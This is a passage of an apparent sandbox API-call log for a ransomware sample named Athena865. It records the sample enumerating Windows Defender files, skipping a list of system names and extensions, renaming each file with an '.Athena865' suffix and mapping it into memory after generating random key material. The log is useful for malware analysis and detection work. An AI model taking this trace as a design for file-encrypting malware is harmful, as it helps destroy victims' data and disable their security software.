lpMem=0x52d1b0 | out: hHeap=0x4f0000) returned 1 [0038.642] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0038.642] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0038.642] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18c9dd08, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x18c9dd08, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x33d01890, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xcc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MpOAV.dll", cAlternateFileName="")) returned 1 [0038.642] lstrcmpiW (lpString1="MpOAV.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0038.642] lstrcmpiW (lpString1="MpOAV.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0038.642] lstrcmpiW (lpString1="MpOAV.dll", lpString2=".") returned 1 [0038.642] lstrcmpiW (lpString1="MpOAV.dll", lpString2="..") returned 1 [0038.642] lstrcmpiW (lpString1="MpOAV.dll", lpString2="windows") returned -1 [0038.642] lstrcmpiW (lpString1="MpOAV.dll", lpString2="bootmgr") returned 1 [0038.642] lstrcmpiW (lpString1="MpOAV.dll", lpString2="temp") returned -1 [0038.642] lstrcmpiW (lpString1="MpOAV.dll", lpString2="pagefile.sys") returned -1 [0038.642] lstrcmpiW (lpString1="MpOAV.dll", lpString2="boot") returned 1 [0038.642] lstrcmpiW (lpString1="MpOAV.dll", lpString2="ids.txt") returned 1 [0038.642] lstrcmpiW (lpString1="MpOAV.dll", lpString2="ntuser.dat") returned -1 [0038.642] lstrcmpiW (lpString1="MpOAV.dll", lpString2="perflogs") returned -1 [0038.642] lstrcmpiW (lpString1="MpOAV.dll", lpString2="MSBuild") returned -1 [0038.642] lstrlenW (lpString="MpOAV.dll") returned 9 [0038.642] lstrcpyW (in: lpString1=0x241e88c, lpString2="MpOAV.dll" | out: lpString1="MpOAV.dll") returned="MpOAV.dll" [0038.643] lstrlenW (lpString="MpOAV.dll") returned 9 [0038.643] lstrlenW (lpString="Athena865") returned 9 [0038.643] lstrlenW (lpString=".dll") returned 4 [0038.643] lstrcmpiW (lpString1="MpOAV.dll", lpString2=".dll") returned 1 [0038.643] lstrlenW (lpString=".lnk") returned 4 [0038.643] lstrcmpiW (lpString1="MpOAV.dll", lpString2=".lnk") returned 1 [0038.643] lstrlenW (lpString=".ini") returned 4 [0038.643] lstrcmpiW (lpString1="MpOAV.dll", lpString2=".ini") returned 1 [0038.643] lstrlenW (lpString=".sys") returned 4 [0038.643] lstrcmpiW (lpString1="MpOAV.dll", lpString2=".sys") returned 1 [0038.643] lstrlenW (lpString="MpOAV.dll") returned 9 [0038.643] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Defender\\MpOAV.dll.Athena865") returned 53 [0038.643] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Defender\\MpOAV.dll" (normalized: "c:\\program files\\windows defender\\mpoav.dll"), lpNewFileName="C:\\Program Files\\Windows Defender\\MpOAV.dll.Athena865" (normalized: "c:\\program files\\windows defender\\mpoav.dll.athena865"), dwFlags=0x1) returned 1 [0038.644] CreateFileW (lpFileName="C:\\Program Files\\Windows Defender\\MpOAV.dll.Athena865" (normalized: "c:\\program files\\windows defender\\mpoav.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0038.644] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=52224) returned 1 [0038.644] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0038.644] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d1b0 [0038.644] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0038.644] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0038.645] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0038.645] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0038.645] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xcf00, lpName=0x0) returned 0x17c [0038.647] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xcf00) returned 0x100000 [0038.649] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0038.649] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0038.649] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0038.650] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d228 [0038.650] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d228 | out: hHeap=0x4f0000) returned 1 [0038.650] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52f908 [0038.650] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0038.650] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0038.650] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0038.650] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52f908 [0038.650] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0038.650] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0038.650] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0038.650] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0038.651] CloseHandle (hObject=0x17c) returned 1 [0038.651] CloseHandle (hObject=0x154) returned 1 [0038.652] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d1b0 | out: hHeap=0x4f0000) returned 1 [0038.652] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0038.652] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0038.653] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d4eb396, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x1d4eb396, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x33f88820, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x30e00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MpRTP.dll", cAlternateFileName="")) returned 1 [0038.653] lstrcmpiW (lpString1="MpRTP.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0038.653] lstrcmpiW (lpString1="MpRTP.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0038.653] lstrcmpiW (lpString1="MpRTP.dll", lpString2=".") returned 1 [0038.653] lstrcmpiW (lpString1="MpRTP.dll", lpString2="..") returned 1 [0038.653] lstrcmpiW (lpString1="MpRTP.dll", lpString2="windows") returned -1 [0038.653] lstrcmpiW (lpString1="MpRTP.dll", lpString2="bootmgr") returned 1 [0038.653] lstrcmpiW (lpString1="MpRTP.dll", lpString2="temp") returned -1 [0038.653] lstrcmpiW (lpString1="MpRTP.dll", lpString2="pagefile.sys") returned -1 [0038.653] lstrcmpiW (lpString1="MpRTP.dll", lpString2="boot") returned 1 [0038.653] lstrcmpiW (lpString1="MpRTP.dll", lpString2="ids.txt") returned 1 [0038.653] lstrcmpiW (lpString1="MpRTP.dll", lpString2="ntuser.dat") returned -1 [0038.653] lstrcmpiW (lpString1="MpRTP.dll", lpString2="perflogs") returned -1 [0038.653] lstrcmpiW (lpString1="MpRTP.dll", lpString2="MSBuild") returned -1 [0038.653] lstrlenW (lpString="MpRTP.dll") returned 9 [0038.653] lstrcpyW (in: lpString1=0x241e88c, lpString2="MpRTP.dll" | out: lpString1="MpRTP.dll") returned="MpRTP.dll" [0038.653] lstrlenW (lpString="MpRTP.dll") returned 9 [0038.653] lstrlenW (lpString="Athena865") returned 9 [0038.653] lstrlenW (lpString=".dll") returned 4 [0038.653] lstrcmpiW (lpString1="MpRTP.dll", lpString2=".dll") returned 1 [0038.653] lstrlenW (lpString=".lnk") returned 4 [0038.653] lstrcmpiW (lpString1="MpRTP.dll", lpString2=".lnk") returned 1 [0038.653] lstrlenW (lpString=".ini") returned 4 [0038.653] lstrcmpiW (lpString1="MpRTP.dll", lpString2=".ini") returned 1 [0038.653] lstrlenW (lpString=".sys") returned 4 [0038.653] lstrcmpiW (lpString1="MpRTP.dll", lpString2=".sys") returned 1 [0038.653] lstrlenW (lpString="MpRTP.dll") returned 9 [0038.653] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Defender\\MpRTP.dll.Athena865") returned 53 [0038.654] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Defender\\MpRTP.dll" (normalized: "c:\\program files\\windows defender\\mprtp.dll"), lpNewFileName="C:\\Program Files\\Windows Defender\\MpRTP.dll.Athena865" (normalized: "c:\\program files\\windows defender\\mprtp.dll.athena865"), dwFlags=0x1) returned 1 [0038.655] CreateFileW (lpFileName="C:\\Program Files\\Windows Defender\\MpRTP.dll.Athena865" (normalized: "c:\\program files\\windows defender\\mprtp.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0038.655] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=200192) returned 1 [0038.656] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0038.656] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d1b0 [0038.656] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0038.656] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0038.656] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0038.657] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0038.657] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x31100, lpName=0x0) returned 0x17c [0038.658] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x31100) returned 0x170000 [0038.665] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0038.666] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0038.666] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0038.666] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d228 [0038.666] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d228 | out: hHeap=0x4f0000) returned 1 [0038.666] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52f908 [0038.666] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0038.666] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0038.666] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0038.666] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52f908 [0038.666] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0038.666] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0038.666] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0038.666] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0038.668] CloseHandle (hObject=0x17c) returned 1 [0038.668] CloseHandle (hObject=0x154) returned 1 [0038.671] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d1b0 | out: hHeap=0x4f0000) returned 1 [0038.671] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0038.671] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0038.672] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34b85c54, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x34b85c54, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x33f88820, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xf7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MpSvc.dll", cAlternateFileName="")) returned 1 [0038.672] lstrcmpiW (lpString1="MpSvc.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0038.672] lstrcmpiW (lpString1="MpSvc.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0038.672] lstrcmpiW (lpString1="MpSvc.dll", lpString2=".") returned 1 [0038.672] lstrcmpiW (lpString1="MpSvc.dll", lpString2="..") returned 1 [0038.672] lstrcmpiW (lpString1="MpSvc.dll", lpString2="windows") returned -1 [0038.672] lstrcmpiW (lpString1="MpSvc.dll", lpString2="bootmgr") returned 1 [0038.672] lstrcmpiW (lpString1="MpSvc.dll", lpString2="temp") returned -1 [0038.672] lstrcmpiW (lpString1="MpSvc.dll", lpString2="pagefile.sys") returned -1 [0038.672] lstrcmpiW (lpString1="MpSvc.dll", lpString2="boot") returned 1 [0038.672] lstrcmpiW (lpString1="MpSvc.dll", lpString2="ids.txt") returned 1 [0038.672] lstrcmpiW (lpString1="MpSvc.dll", lpString2="ntuser.dat") returned -1 [0038.672] lstrcmpiW (lpString1="MpSvc.dll", lpString2="perflogs") returned -1 [0038.672] lstrcmpiW (lpString1="MpSvc.dll", lpString2="MSBuild") returned -1 [0038.672] lstrlenW (lpString="MpSvc.dll") returned 9 [0038.672] lstrcpyW (in: lpString1=0x241e88c, lpString2="MpSvc.dll" | out: lpString1="MpSvc.dll") returned="MpSvc.dll" [0038.672] lstrlenW (lpString="MpSvc.dll") returned 9 [0038.672] lstrlenW (lpString="Athena865") returned 9 [0038.672] lstrlenW (lpString=".dll") returned 4 [0038.672] lstrcmpiW (lpString1="MpSvc.dll", lpString2=".dll") returned 1 [0038.672] lstrlenW (lpString=".lnk") returned 4 [0038.673] lstrcmpiW (lpString1="MpSvc.dll", lpString2=".lnk") returned 1 [0038.673] lstrlenW (lpString=".ini") returned 4 [0038.673] lstrcmpiW (lpString1="MpSvc.dll", lpString2=".ini") returned 1 [0038.673] lstrlenW (lpString=".sys") returned 4 [0038.673] lstrcmpiW (lpString1="MpSvc.dll", lpString2=".sys") returned 1 [0038.673] lstrlenW (lpString="MpSvc.dll") returned 9 [0038.673] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Defender\\MpSvc.dll.Athena865") returned 53 [0038.673] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Defender\\MpSvc.dll" (normalized: "c:\\program files\\windows defender\\mpsvc.dll"), lpNewFileName="C:\\Program Files\\Windows Defender\\MpSvc.dll.Athena865" (normalized: "c:\\program files\\windows defender\\mpsvc.dll.athena865"), dwFlags=0x1) returned 1 [0038.673] CreateFileW (lpFileName="C:\\Program Files\\Windows Defender\\MpSvc.dll.Athena865" (normalized: "c:\\program files\\windows defender\\mpsvc.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0038.673] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1011712) returned 1 [0038.673] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0038.674] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d1b0 [0038.674] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0038.674] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0038.675] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0038.675] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0038.675] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xf7300, lpName=0x0) returned 0x17c [0038.676] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xf7300) returned 0x2d50000 [0038.709] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0038.710] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0038.710] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0038.710] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d228 [0038.710] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d228 | out: hHeap=0x4f0000) returned 1 [0038.710] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52f908 [0038.710] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0038.710] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0038.710] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0038.710] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52f908 [0038.711] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0038.711] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0038.711] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0038.711] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0038.720] CloseHandle (hObject=0x17c) returned 1 [0038.720] CloseHandle (hObject=0x154) returned 1 [0038.730] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d1b0 | out: hHeap=0x4f0000) returned 1 [0038.730] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0038.731] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0038.735] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2afc28f9, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x2afc28f9, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe8c21380, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xeaa00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSASCui.exe", cAlternateFileName="")) returned 1 [0038.735] lstrcmpiW (lpString1="MSASCui.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0038.735] lstrcmpiW (lpString1="MSASCui.exe", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0038.735] lstrcmpiW (lpString1="MSASCui.exe", lpString2=".") returned 1 [0038.735] lstrcmpiW (lpString1="MSASCui.exe", lpString2="..") returned 1 [0038.735] lstrcmpiW (lpString1="MSASCui.exe", lpString2="windows") returned -1 [0038.735] lstrcmpiW (lpString1="MSASCui.exe", lpString2="bootmgr") returned 1 [0038.735] lstrcmpiW (lpString1="MSASCui.exe", lpString2="temp") returned -1 [0038.735] lstrcmpiW (lpString1="MSASCui.exe", lpString2="pagefile.sys") returned -1 [0038.735] lstrcmpiW (lpString1="MSASCui.exe", lpString2="boot") returned 1 [0038.735] lstrcmpiW (lpString1="MSASCui.exe", lpString2="ids.txt") returned 1 [0038.735] lstrcmpiW (lpString1="MSASCui.exe", lpString2="ntuser.dat") returned -1 [0038.735] lstrcmpiW (lpString1="MSASCui.exe", lpString2="perflogs") returned -1 [0038.735] lstrcmpiW (lpString1="MSASCui.exe", lpString2="MSBuild") returned -1 [0038.735] lstrlenW (lpString="MSASCui.exe") returned 11 [0038.735] lstrcpyW (in: lpString1=0x241e88c, lpString2="MSASCui.exe" | out: lpString1="MSASCui.exe") returned="MSASCui.exe" [0038.735] lstrlenW (lpString="MSASCui.exe") returned 11 [0038.735] lstrlenW (lpString="Athena865") returned 9 [0038.735] lstrcmpiW (lpString1="ASCui.exe", lpString2="Athena865") returned -1 [0038.735] lstrlenW (lpString=".dll") returned 4 [0038.735] lstrcmpiW (lpString1="MSASCui.exe", lpString2=".dll") returned 1 [0038.735] lstrlenW (lpString=".lnk") returned 4 [0038.735] lstrcmpiW (lpString1="MSASCui.exe", lpString2=".lnk") returned 1 [0038.735] lstrlenW (lpString=".ini") returned 4 [0038.735] lstrcmpiW (lpString1="MSASCui.exe", lpString2=".ini") returned 1 [0038.735] lstrlenW (lpString=".sys") returned 4 [0038.735] lstrcmpiW (lpString1="MSASCui.exe", lpString2=".sys") returned 1 [0038.735] lstrlenW (lpString="MSASCui.exe") returned 11 [0038.735] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Defender\\MSASCui.exe.Athena865") returned 55 [0038.736] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Defender\\MSASCui.exe" (normalized: "c:\\program files\\windows defender\\msascui.exe"), lpNewFileName="C:\\Program Files\\Windows Defender\\MSASCui.exe.Athena865" (normalized: "c:\\program files\\windows defender\\msascui.exe.athena865"), dwFlags=0x1) returned 1 [0038.736] CreateFileW (lpFileName="C:\\Program Files\\Windows Defender\\MSASCui.exe.Athena865" (normalized: "c:\\program files\\windows defender\\msascui.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0038.736] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=961024) returned 1 [0038.736] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0038.737] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d1b0 [0038.737] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0038.737] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0038.737] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0038.737] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0038.738] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xead00, lpName=0x0) returned 0x17c [0038.748] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xead00) returned 0x2d50000 [0038.777] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0038.778] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0038.778] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0038.778] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d228 [0038.778] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d228 | out: hHeap=0x4f0000) returned 1 [0038.778] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52f908 [0038.778] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0038.778] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0038.778] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0038.778] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52f908 [0038.778] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0038.779] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0038.779] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0038.779] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0038.787] CloseHandle (hObject=0x17c) returned 1 [0038.787] CloseHandle (hObject=0x154) returned 1 [0038.796] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d1b0 | out: hHeap=0x4f0000) returned 1 [0038.796] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0038.796] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0038.800] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e1b943a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9e1b943a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9e1b943a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xee00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MsMpCom.dll", cAlternateFileName="")) returned 1 [0038.800] lstrcmpiW (lpString1="MsMpCom.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0038.800] lstrcmpiW (lpString1="MsMpCom.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0038.800] lstrcmpiW (lpString1="MsMpCom.dll", lpString2=".") returned 1 [0038.800] lstrcmpiW 